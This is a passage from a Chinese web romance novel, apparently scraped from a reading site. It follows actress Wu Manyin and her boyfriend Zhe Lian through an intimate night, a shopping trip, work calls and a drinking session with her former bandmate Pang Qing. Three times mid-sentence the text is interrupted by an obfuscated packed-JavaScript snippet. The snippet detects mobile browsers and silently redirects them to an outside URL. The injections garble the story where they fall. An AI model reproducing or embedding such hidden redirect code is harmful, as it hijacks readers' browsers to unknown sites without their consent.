可惜,黄钟县是小地方,但省城和北京可不是,总有那么几个不长眼睛……或者说太长眼睛的人,戴上一副恶心的面具,自以为是个优质的男人,假装风度翩翩地引诱她…… 这些年他忙于工作,减少了对乌曼因的窥视,还真让不少人趁虚而入。 烦,好烦。这些没长眼睛的人渣都该和黄钟县的大伙一样接受来自李藏之的恐惧才对…… …… 乌曼因的手打断了折敛的扭曲思考,让他顿时从法制频道里清醒过来,几乎无缝陷入了迷幻的美梦里。 她的手指越发跃跃欲试,不满足于在他腹肌沟壑里游移,大胆又带着几分研究般的探索欲。 折敛猛地吸了一口气,像是终于从水下挣脱出来,眼角染上湿润的绯红。 乌曼因的气息将他密密实实地包裹起来。 她说折敛抱她像是掂猪肉,而她隔靴搔痒的动作并没有好到哪里去,东一锤子西一榔头,像一只吃饱了的手欠猫在玩她的猎物。 猎物对她十分纵容,哪怕猫猫的手已经探到了某些危险的边缘,只差一点喵喵队就要得到最好玩的玩具。 身体再不敏感,折敛也是个生理正常的人类,智商和常识也没什么问题,他隐约知道接下来要发生什么。 但他没有反抗。他笨拙地、细微颤动着抱住了她的背,手指陷入她肩胛骨之间柔软的衣料中,仿佛在抓住最后一点自制力。 “你也太可爱了,”乌曼因嘟囔,“这样会让我忍不住对你做一些我脑补了很久很过分的事情……” 折敛听不清楚,在他的静默世界里,乌曼因的声音像蹁跹又空灵的蝴蝶,喉咙间根本发不出坚定的拒绝。 他才不想拒绝,本质上折敛是个胜负欲极强的神经病。他现在是乌曼因的正牌男朋友,那些奇形怪状的歪瓜裂枣能做的,他肯定也能做到。 ……虽然他其实根本没试过。 折敛抬起手臂,将她的身体向下拉,用自己的额头抵住她的额头。 这是一个依赖的、示弱的,却也是无声催促的姿态。 折敛不需要听见,他的全身心都在表达同一个诉求。 折敛说:“为什么不继续……难道你没有经验吗?” 听到这话,乌曼因被戳到痛脚了,她声音高了点,不知道是因为照顾折敛耳朵还是心虚:“谁、谁没有经验了,我会的花样可多了,今天就让你见识一下我的厉害。” 她有几十片小电影经验,外加无数言情小说加持,亲眼见过片场里小花小生激吻,难道还拿不下区区一个折敛? 乌曼因信心满满地A了上去。 乌曼因打出了GG。 哐当一声巨响回荡在小小的房间内。 这声巨响把折敛都惊到了。 他起身搂住撞到床柱上的乌曼因,连忙捧住她的脸,手指小心翼翼地拨开她额前的碎发,仔细检查起她的脑袋。还好,确定没有什么大事,只是在她光洁的额角摸到了一个不起眼、微微发红的小包…… 女明星的表情有些空白而且蠢兮兮的。 嘴里发出“你的脑袋为什么这么硬”的声音。 离得很近所以折敛听得很清楚。 因为那不是我的脑袋。 …… 所以事情为什么会变成这样?明明只是她说要试试什么花样,结果气势汹汹地直起身子,蓄势待发,一头撞上了床柱。 仔细想想这幕鸡飞狗跳的场景也十分眼熟。 好像很久以前也发生过很多次。 乌曼因每次突发奇想又信誓旦旦去做些什么事情的时候,总是会弄出一堆烂摊子让他来收拾。 这种重复了太多次的条件反射,让他下意识就搂住了变成一滩失意体前屈猫饼的乌曼因。 内心跳出“果然会变成这样,明明那么好的氛围……”的想法。 而且,他总觉得乌曼因似乎也并没有她表现出来的那么熟练。 她是不是……其实也只是在凭着感觉瞎折腾? 折敛叹了口气,一种混合着无奈、纵容的情绪涌了上来。 以前,他可以默默地为她扫尾,包容她的奇思妙想。 但现在已经他不是以前几个包子就能骗走的他了,当了那么多年的社畜,没好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323472|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情折敛才不干。 被乌曼因一通乱动磨得有点难受的男人用薄被子把乌曼因团吧团吧扔到一边。 折敛伸出手把床头的灯关上。 让自己失去了最需要的视觉,但也不用再见到乌曼因明亮的眼睛。只留下肌肤相碰,她胸脯急促地起伏——原来不只有他一个人紧张——他俯下身,将自己沉浸再这片黑暗与欲望里。 只要不看她的眼睛……只是触摸……那么怀里这个不安分的存在,是不是就可以只是一个陌生的女人? 不,这个念头刚一冒出就被他否决了。陌生的人的接触会让他恶心,先是皮肤冒出鸡皮疙瘩,然后是胃部阵阵痉挛直到反胃。 此刻,他触碰到的,是熟悉的、美好的、让他甘愿付出一切的、女性。 他用力按住乌曼因不知道为什么一直在乱动的手,温热的唇吻着她的肌肤细密地,带着某种压抑已久的渴望,一路向下。 她会随着他的亲吻微微后缩,发出受惊般的抽泣声,然后身体僵住,肌肉不自觉地战栗着。 真可爱。 手又不安分了,慌张胡乱地抱住他的头,不自觉用力,插入他的发丝。 折敛看的正规生理课本,到底还是比言情小说靠谱很多。 言情小说不会说,女性几乎无法从最深处获得体验。 几乎所有快感来自于人和人直接的肌肤热量交换。它是滚烫的亲吻,是交缠的呼吸,是皮肤下奔流的血液,是胸腔里不受控制的心跳。 嫉妒催生出强烈占有,然后纯粹感官刺激带来眩晕和迷失。 温暖的潮水会淹没所有理智的堤岸。 有同类爱着我、我不是一个人。 允许坦露脆弱,然后被包容。 所以,只要相拥,他可以从中得到一样的快乐,但他会给乌曼因更多。 气息、温度、强势,和狡猾。 台风让深山里的夜晚温度下降了十度,凉意入骨,乌曼因暖呼呼的,在微凉的夜晚里像个大暖炉。 越退缩她就越热,汗水湿淋淋地渗出肌肤,覆盖了薄薄一层。命门掌握在别人口中,乌曼因不敢挣扎了,又长又直的腿绷紧,脚背蜷起。 折敛编织了一张密不透风的网,她逃不脱,又觉得新奇,自愿一头撞了进来。 因为几乎没有任何经验,这股强烈的感官洪流几乎占据了她整个大脑,漂亮的眼睛里写满失神。 空白的欢愉。 折敛不太听得见自己的声音,也不太听得见乌曼因的声音,但他的视力很好,在黑夜里捕捉到她嘴巴微微开合。 也许是在叫他的名字。 于是折敛说:“我在。”他把手指插入乌曼因的手指间。 折敛死死扣着乌曼因,在他的世界里,他仿佛回到了十多岁的时候,和他最亲密的人一起。 45. 好消息和坏消息 第二天早上,乌曼因久违地精神超好。仿佛整个人被注入了什么青春活力剂,跳下床就打了一整套健身操。 除了心情不错以外,更重要的是在室友面前证明自己——昨晚上的娱乐活动对她来说都是洒洒水,她才!不是!菜鸡! 不过她只假装自己很忙了一会儿就装不下去了。 因为这个房间里只有空气在看她上蹿下跳。 折敛:“Zzzzzzz……” 有人一如既往的起不来。 他把自己缩在被子里,由于临近中午,台风已经离开,温度悄悄升高了不少,才不自觉把自己的小臂往外挪了些,露出一截苍白却线条流畅的手腕。 乌曼因把手机聊天框切来切去,把每个熟人都骚扰了一遍后,实在没事做,又百无聊赖地趴回床边,开始一根根数折敛的眼睫毛。 他怎么可以这么淡定呢?她想。 折敛并不淡定。 被她这么用炽热的目光毫不掩饰地盯着,睡了十多个小时、其实早醒了只是一直在装睡的折敛受不了了。 只是想收拾一下心情,谁受得了被当成珍稀物种一直被围观啊。 他猛地坐起来。 乌曼因眼睁睁看着薄薄的被子从他光裸的肩头滑落,露出宽阔的肩膀和细瘦的腰。 折敛在她灼灼的目光里沉默了两秒,然后迅速抓过旁边的长袖卫衣套上,动作快得几乎带风,就差带上帽子把头发也给遮住。 刚带上助听器,就听见乌曼因问: “害羞了?” “……没有。” 只是思考了一个早上,忽然意识到自己本来就不多的底线居然还可以再往下降,有些震惊。 以前去警察局报道,罪名最多也就“非法侵入计算机信息系统”、“侵犯公民个人信息”、“扰乱无线电通讯管理秩序”……警察看他的眼神好歹还带点“误入歧途的技术大神”的惋惜。 要是现在知道他最近干起了私生饭转正的勾当,估计目光就得痛心地升级成“误入歧途而且非常猥琐的技术大神”了吧。 这种罪名导师都保释不了他。 乌曼因完全没意识到折敛的复杂心情,她正为了打开新世界的大门而跃跃欲试,望向他目光里不自觉带上了点看餐后甜点似的垂涎。 感谢台风天,感谢折敛,感谢黄钟县,终于过上了传说中明星骄奢淫逸的生活,哎嘿! 莫名读懂她眼神的折敛:“……” 他默默把卫衣帽子拉得更低了点。 “你刚才在床头看我做什么?”他闷声问。 “啊?在感叹我眼光真好。”乌曼因理直气壮地回答,看男朋友又不犯法。 折敛还是个维修店阴暗蘑菇的时候她就看上了,那时候谁想得到他不仅是个学历很高的学霸,而且总是裹在肥大卫衣下的身材还异常极品,这叫慧眼识珠。 买的股票要是一直涨,她不信股民们忍得住不一天看三次。 女明星得意过头一顺嘴就把后面心里想的内容说出来了。 “……”折敛没想到乌曼因是这么看他的,“那你为什么会答应做我的女朋友?” “呃,你猜?”乌曼因缩了缩脖子。 折敛不知道反问就是心虚的道理:“……因为我帮你修好了蜡烛?” “啊对对对……” 折敛以为她馋他技术,其实她就单纯馋他身子。 为了表示自己不是那么肤浅的人,乌曼因明智地选择闭嘴。 …… 下来退房的时候,民宿老板换成了一个个头矮矮、打扮时尚的女孩子。 她神情局促,勾着手指头,站在民宿门厅里漂亮的屏风旁边,连连给乌曼因道歉,说她才是民宿的老板,昨天擅自给他们涨价的只是村里的亲戚,帮忙看店的。 老板昨天去城里采购,今天早上回来听保洁阿姨说亲戚和顾客吵了一架,打开电脑,一看住宿信息里的乌曼因,老板姑娘觉得天都要踏了。 已经幻想自己被乌曼因粉丝砍成肉酱的现场。 没那么完整。 乌曼因瞅了瞅眼前这位真正的老板,这才觉得和民宿的风格比较搭,她心情明媚,挥挥手表示自己不在意。 “您……不会把我挂网上吧?”老板忐忑地问。 乌曼因:“放心,没那么好的事,我发微博广告位得收钱的。” 老板姑娘见乌曼因脸色红扑扑的,又悄悄瞥了眼她身边那个脸色冷淡却异常俊秀的年轻男人,感觉自己悟到了真谛,感谢天,感谢地,感谢姐夫。 但错还得弥补,于是热情地请乌曼因和折敛免费吃了顿丰盛的早饭,还要给乌曼因退房钱。 “一晚上八百还ok啦,我朋友要知道我白嫖房间她又要心理不平衡了,”乌曼因摆摆手拒绝了,“对了,我朋友他们退房没有?” 老板答:“他们一早就走啦。” 也难怪,那两个可不是乌曼因和折敛这种游手好闲的路人,急着走结婚流程呢,耽误了一晚上,不知道黄钟县有没有耽误吉时这种说法。 乌曼因又打开手机骚扰南吕:干啥走那么早啊,我们送你去quantum家,给你撑腰啊 南吕:呵呵 南吕:友情提示,宾馆隔音不好 乌曼因:“???” 拉黑,毁尸灭迹一条龙。 无事发生。 …… 台风已经过去了,天气如水洗过一般清新透亮,山边挂起了一道浅浅的彩虹。 乌曼因带着人生已经踏入新境界的美好展望,愉快地吹了一声口哨,在她与金鱼类似的脑子里,已经忘掉了南吕的糟心事,李藏之的疑似监视,以及昨天晚上折敛像按死鱼一样把她按在床上、扑腾到没力气。 今天树是苍翠的,天是湛蓝的,折敛是好看的。 她钻进驾驶座里,招呼折敛:“走,今天去买衣服,参加别人婚礼总得穿像样点,最重要的是,给我把你的幼稚睡衣换掉!” “能不去吗?”折敛不情愿地坐进车里,系上安全带。 折敛并不喜欢和乌曼因逛街。就算是乌曼因,逛街也是一件毫无意义的活动。 “不能,”乌曼因毫不留情地拒绝,并祭出杀手锏,拿真音姐常常念叨她的话来吓唬折敛,“你跟了我就算是我的人了,要是被媒体评价‘乌曼因的男友怎么土土的’,会影响我的时尚资源的!你忍心吗?” 折敛果然被她镇住了,手捏着安全带,不说话。 不涉及专业领域,他其实就是个没啥常识的小白,特别好骗,大部分时候分不清哪句是玩笑哪句是实话。 他脑子里还想着“你跟了我就算我的人了”,勉强应下:“那好吧。” 真好骗,嘿嘿。 奇迹折敛计划,启动! 乌曼因踩下油门,车立马如脱缰的野狗一般冲了出去,驶向了回黄钟县的山路。在乌曼因的逮虾户车技下,两人很快到了黄钟县最知名的购物中心。 折敛不安地跟在乌曼因身后,像个小尾巴。这个近些年来新建的商厦气势恢宏,折敛作为离家已久的本地人都没有来过,他觉得乌曼因也没有来过。 ……那她为什么能自在得跟回了家似的? 乌曼因兴冲冲地拉着折敛直奔品牌店,她知道折敛在外面不喜欢裸露肌肤,所以只在款式上下功夫,身材那么好总是藏着掖着做什么,她先挑了几条配色时尚牛仔裤,抬起下巴示意折敛去换。 折敛瞅了瞅,觉得勉强可以接受。 青春男大风味扑面而来。 折敛不太习惯牛仔裤偏硬挺的面料和包裹感,走了两步,神色就有点不自然,小声问能不能换回自己常穿的那种。 乌曼因坚定地摇摇头,眼珠一转,又拿过一件时尚拼色长袖工装递给他,眼神里写满了“没得商量”。 两人无声对视许久,最终还是折敛在她充满期待的目光里败下阵来,默默接过衣服挪进更衣室。 乌曼因得意地翘着二郎腿,气势像极了退休大爷包养小蜜。 没等她高兴多久,急促的铃声打断了她的想入非非。捞出来一看,是真音姐的电话,乌曼因苦大仇深地看了三秒,预感接这个电话肯定没好事,认命地接起:“姐,什么事啊?” 真音姐找她向来是正事:“一个好消息,一个坏消息,你先听哪个?” “坏消息吧。”乌曼因坐直了些。 “凌云娱乐的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323473|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总因为婚外情丑闻曝光,昨天晚上紧急开会,道歉辞职下台。” “哦哈,扑哧,”乌曼因努力让自己别笑,但努力失败,只能用手遮住自己稍微有点扭曲的嘴角,“好消息说完了,剩下的呢?” “……” 电话那头沉默了两秒,只觉幸灾乐祸快要顺着电话线溢出来了。 乌曼因理直气壮,你见过谁喜欢老板的? 说的也是,难怪拿着乌曼因发的工资的真音姐总是看乌曼因不顺眼。 乌曼因在家摆烂她嫌弃不思进取,乌曼因出来活动她又觉得这人是不是要搞事。 没一天让人省心的。 “好消息呢,好消息是什么?” “好消息是,”真音姐说,“董事长儿子,你的前男友林云上位了,现在你得叫他一声老板。” 乌曼因:“……今天好像运气不太好,听到脏东西的名字了。” “……” 这才是坏消息吧。 乌曼因的前男友不少,但这位仁兄和其他傻逼的不同在于这位手里真有能威胁到她的资源。 真音姐觉得是好消息的原因是她记得这两人是和平分手,前男友哥大概率不会为难她,也许会给她一些不错的安排之类的,毕竟再差也差不过现在的雪藏境况。 但乌曼因觉得牙疼。 下意识往更衣室方向瞟了一眼。 就在这时,更衣室的门帘掀开,折敛别扭地穿着拼色工装和牛仔裤出来,乌曼因“嘶”了一声,刚才所有关于前男友和公司股权变动的烦恼,瞬间被她抛到了脑后。 是完全没见过的摇滚乐队风格的折敛! 虽然他脸上还带着明显的不自在,但要的就是这种青涩与渣苏结合的反差感。 她匆匆对着电话那头说了句“姐我晚点再跟你说!”,也不管真音姐什么反应,就挂断了电话,还没等她夸上两句,正要示意导购把这两件买下来时,手机铃声又不依不饶地响了。 乌曼因:“……” 眼睁睁看着穿着帅气衣服的折敛从她身边溜走。 这次是范导的日常慰问。他来汇报拍摄进度,说大部分的戏前期已经拍摄完成了,等初步剪辑完成后,就需要乌曼因和她的音乐工作室入场写ost。 音乐和特效两个部分同时开始制作,节省时间。 然后送审、电影就可以赶在明年的暑期档上映。 乌曼因说着好啊好啊,灰头土脸地挂断电话。 ……工作开始追着上门来了。 等第三次电话铃声响起,乌曼因已经麻了。折敛趁着乌曼因没空管他,飞速把那件潮得有些风湿的衣服脱了下来,换回了自己宽大、熟悉的旧卫衣,这才长长舒了一口气。 什么情况,怎么今天一股脑地来骚扰她? 可恶。 乌曼因纳闷地看来电显示——庞清。 乌曼因:“……”最近乐不思蜀,已经完全把这位仁兄忘掉了。 叹口气接起来,那头的仁兄就机关枪一样开始叭叭叭抱怨,说他收到了南吕的结婚请柬,被他妈看到了,他妈妈又开始催婚。 这位总算不是聊工作了。 “你也想结婚?”乌曼因心不在焉地随口问,还盘算着怎么再哄骗折敛换新衣服。 “谁不想结婚?”庞清嗤之以鼻。 乌曼因:“我啊。” “?你不怕被你的男朋友知道?” “以后的事情谁说的准啊,而且谁谈恋爱是奔着结婚去的。” “不以结婚为目的的谈恋爱就是耍流氓。”庞清大声说。 她连忙捂住手机,左右看看,见折敛远远地坐在离她最远的角落里,生怕又被拉走换衣服,应该没听到他俩说话:“你小声点,折敛现在就在我旁边,被他听到怎么办。” 乌曼因有些纳闷,按照庞清当年把女生肚子搞大又让人打胎的作风,不像能说出这种话的人…… 可能是这些年改邪归正了吧,可喜可贺。 “敢说不敢承认,”庞清顿时愤慨地和他一直看不上的小白脸站在了同一条战线上,“你这个玩弄纯情少男感情的人渣!” 乌曼因:“……就你没资格这么评价我。” 46. 青春 总之庞清把乌曼因约出来喝酒了。 喝酒的地方是家连招牌都被油烟熏得模糊的烧烤店,看上去比折敛随手找的那家还随便,店里飘着浓重的炭火味,门口堆满了绿色玻璃瓶啤酒筐。 乌曼因带折敛到的时候庞清已经吃上了。 咬一口串喝一口啤酒。 “我们兄弟喝酒你把男朋友带出来干嘛?”庞清声音含糊在肉串里,带着明显的不爽。 “谁和你兄弟,我是你姐,对我男朋友客气点。” 乌曼因不客气地走过去,抬手就朝他后脑勺来了一下,力道不轻,拍得庞清差点脸埋盘子里。 折敛安静地站在乌曼因身后半步的位置,穿了身乌曼因买给他的oversize的黑色涂鸦长袖和牛仔裤,为了弥补不是卫衣没有帽子的缺陷,头上扣了顶黑色的鸭舌帽,帽檐压得略低,遮住眉眼。 新潮时尚的衣服与小烧烤店格格不入。 小男友很不适应这种审美,中科院博士爆改十八线小明星。 不过他也很好说服,乌曼因只说了一句“你不想和我穿情侣装吗”,什么原则就都没有了,乖乖任乌曼因打扮。 乌曼因也穿着同款的粉色涂鸦T恤。她趿拉着拖鞋,掀开塑料门帘走进烧烤店里的那一刻,深刻诠释了什么叫蓬荜生辉。 庞清酸不拉几地给两人踢了两张红色塑料凳过去。 “坐吧,大明星,还有……这位,”他顿了顿,似乎不知道该怎么称呼折敛,“……哥们儿。” 折敛不理他,径直越过他坐下。 乌曼因:“怎么忽然找我出来喝酒?” “在家里也是被我妈催婚,”庞清仰头灌了自己一大口啤酒,玻璃杯底重重磕在桌面上,“不是,南吕急什么啊,这么早结婚干嘛?” “要我提醒你,南吕已经三十岁了,而你我的朋友,你已经三十五岁了。三十岁结婚我们一般管这叫晚婚晚育。” “啊?”庞清像是刚刚惊醒,掰着指头算年纪,算来算去发现乌曼因说的是对的,“……但我见她还很年轻的样子啊。” “长得比较幼齿吧,三十岁长得像十八岁,不像你……”乌曼因停顿了下琢磨,“你比较特别,十八岁的时候像三十岁,现在三十五了还像三十岁,挺好的。” “我警告你你这是人身攻击!” 庞清想拍案而起,但被折敛冷冷一瞥冻回去了。 “不是……你们都有男朋友了不起啊,回家被窝有人暖了不起啊……”他伤心地打了一个嗝。 乌曼因挑挑拣拣拿起几串鸡心和牛肉,扒拉到自己盘子里,得趁着现在多吃点,折敛不喜欢这种重油盐饮食,等会和折敛出去吃饭就只能吃水煮青菜了:“要不你也找个男朋友?” “不要,男的没一个好东西,”庞清大概是有些醉了,居然没对呛,反而还顺着她的胡言乱语说下去,“都不是好东西。” 乌曼因:“哎,南吕马上结婚,你别说这么不吉利的话啊。” 庞清嘟囔:“知道,我这不没在她面前说。” “你别听他的,”乌曼因对折敛轻声细语地说,“他自己找不到女朋友所以诋毁所有找得到女朋友的男人。” 折敛认真地点点头。 庞清:“……” 忽然觉得桌上的锡纸猪脑不香了,变成了黏黏糊糊的恋爱脑,狗都不吃。 他说自己在大润发杀了十年鱼心已经跟石头一样冷了,对面的人却转头问小男友看得眼睛干不干。 庞清想起南吕送来的请柬,婚书上是个不知名认识的男人,不由得一阵悲从中来,当年一起看古惑仔说好一生一起走的兄弟怎么都各自成家,只留他一条单身狗。 以前怎么没发现乌曼因是这么个重色轻友的女人呢? 哦,因为以前在乐队里的时候她没有男朋友。 “不过你说结婚有什么好呢?”乌曼因撑着头,想起Quantum给她发来的宾客名单,大多都是Quantum的亲友。南吕家的亲戚很少,只坐了两桌。 恋爱是两个人之间的事情,但婚姻好像并不是。 “谁知道,”庞清闷头喝着酒,“婚姻是围城,外面的人想进去,我一个没结婚的我怎么知道。” 这种名人名言居然从庞清这个标准乐队男嘴里说出来,乌曼因真觉得意外。 “那你还想结婚?” “因为大家都结婚。” “大家怎么样跟我们没关系。”折敛在旁边,乌曼因说得就委婉了些,但是依然没有改变自己的想法。 她抬起眼,仔细打量着对面的老朋友。 庞清其实是个很优秀的鼓手,乐队其他三人各奔东西、纷纷转行淹没于世俗,也只有他、只有庞清依然在组band,即使是现在,他还是一个小乐队的兼职鼓手。 “我和南吕她老公确认了下婚礼流程,发现中间有个请人来唱歌表演的环节。”乌曼因翘着椅子摇晃,忽然说。 庞清斜睨:“所以你想干嘛?” “有没有兴趣把你的架子鼓请出山?和我现场表演一首?” “就我俩?你疯了吧!” “我没疯,好得很,”乌曼因越说越觉得可行性不低,“我想过了,主音吉他我自己可以兼任,就缺你这个鼓手了。” “不是,键盘呢,贝斯呢?吉他的六线谱你还会看吗?”庞清看着这个自说自话的女人,聊起乐队他又清醒了,“不是,问题不是这个,问题是你干嘛又给自己找事干,你和南吕关系很好吗?” “目前暂时不咋样,但我乐意。” “我不乐意!” “给你发工资。” “没问题老板,在哪里排练?” 庞清迅速滑跪。 乌曼因晃晃手里的酒杯,和庞清碰了一下。 她乐意在回北京前最后再帮南吕一把,就当是娘家人,用最喧闹的方式,送她走进那座婚姻的坟墓。 至少坟墓门口,响起过属于他们过去的号角。 她现在已经变成了为了钱写流水线流行歌曲的糟糕大人了,南吕也变成了社畜,唱地下摇滚的穷日子像过去的一场梦,但黄钟县是音乐的城市。 从踏上这片土地的那一刻起,她枯竭的灵感就开始唱歌。 乌曼因想起李藏之留下的歌曲。 这些曲子不一样。 她总觉得,它们更像是某种等待被唤醒的半成品。 它们欠缺的并非编曲的框架,而是演奏的灵魂。 那些成型于八年前的旋律,其坚硬的内核,是十年前不管不顾的叛逆,是她青年时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325890|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要砸碎一切枷锁的呐喊。 这种声音,早已被她锁进记忆的深处。 李藏之放在莲花蜡烛里的歌曲伴奏,采用了一种他极其擅长的一种技术。Chiptune/芯片音乐。 当年受限于设备的限制,李藏之极其擅长这类8bit风的制作方式,通过极少的声道与最简单的和声,组成最抓耳的旋律。 如果不是他硬在芯片里加上了人声,为了人声牺牲了一部分性能,如果仅仅只是模拟电子琴和鼓点的话,应该能呈现一种截然不同的听感。 既复古,又科幻。 但李藏之依然选择加上了人声。 因为这些歌曲的真正作曲人乌曼因,是为了“人”写的曲子,如果没有人声的话,没有灵魂。 她写人的叛逆、反抗、人的挣扎与破茧。 她擅长的灼热人文、李藏之擅长的计算美学……意外交错成了最独特的回响。 特别……特别适合范略的电影。 之前被压下很久的疑惑又不经意地涌现。 她相信有类似经验的人可以将歌曲转换成Chiptune风格,但是拿到手的只有Chiptune,真的可以还原出细节更多的原曲吗? 折敛……究竟是怎么做到的。 她沉思,转头望向就在她身边的折敛。 发现这个乖乖仔不知道什么时候偷偷倒了一杯酒,已经醉了,单手持着杯子,只抿了一点点,就放倒了他。折敛的头微微歪向一侧,靠在冰凉的墙壁上,眼睫毛乖顺地垂着,在眼下投出一小片柔和的阴影。脸颊泛起不自然的红晕。 这还怎么问啊。 折敛是醉的比较克制的,旁边那个就更毫无形象,一杯一杯地往肚里灌,灌得自己趴到在桌子上,脸色红得像关公。 “我也想要有个可爱的女朋友,呼呼,我才没有搞大女生肚子……”庞清大着舌头,一遍发出呜咽的声音,“我就、我就是纯背锅的,看她可怜才劝她打胎,” 乌曼因:“……那姑娘的孩子是谁的?” 庞清已经完全不清醒了:“我、我不能说,呜呜呜。” “喂,傻子,醒醒,”乌曼因拍拍他的脸,发现拍不醒,“不是,孩子不是你的你也不解释,让我误会那么久,这就是傻逼的兄弟义气吗?” 男人都是傻逼,这是真的。 折敛脸色酡红,呆呆地坐在原地,乌曼因把手在他面前挥了挥,折敛的眼睛依旧没聚焦,但她的手动,他的头就跟着慢慢转,视线执着地追随着她的手,伸出手去够。 碰不到还不服输,硬是抓住了她的手。 下一秒,折敛抓着她的手腕,慢慢低下头,将发烫的脸颊贴在她微凉的手背上,依赖地、轻轻地蹭了蹭。动作自然又亲昵,带着全然的信任和一丝不易察觉的撒娇意味。 “之后两天我要和庞清去排练南吕婚礼上的曲子,你要去听吗?还是在酒店里?” “啊……南吕?”折敛迷迷糊糊地说,“……我也有东西要送她。” “你又不认识她,送什么?别破费了。”乌曼因以为他要送红包。 折敛发出极轻的、满足的喟叹,露出一个奇特的微笑。 当然是……很让人难忘的礼物。 希望她这辈子都忘不掉。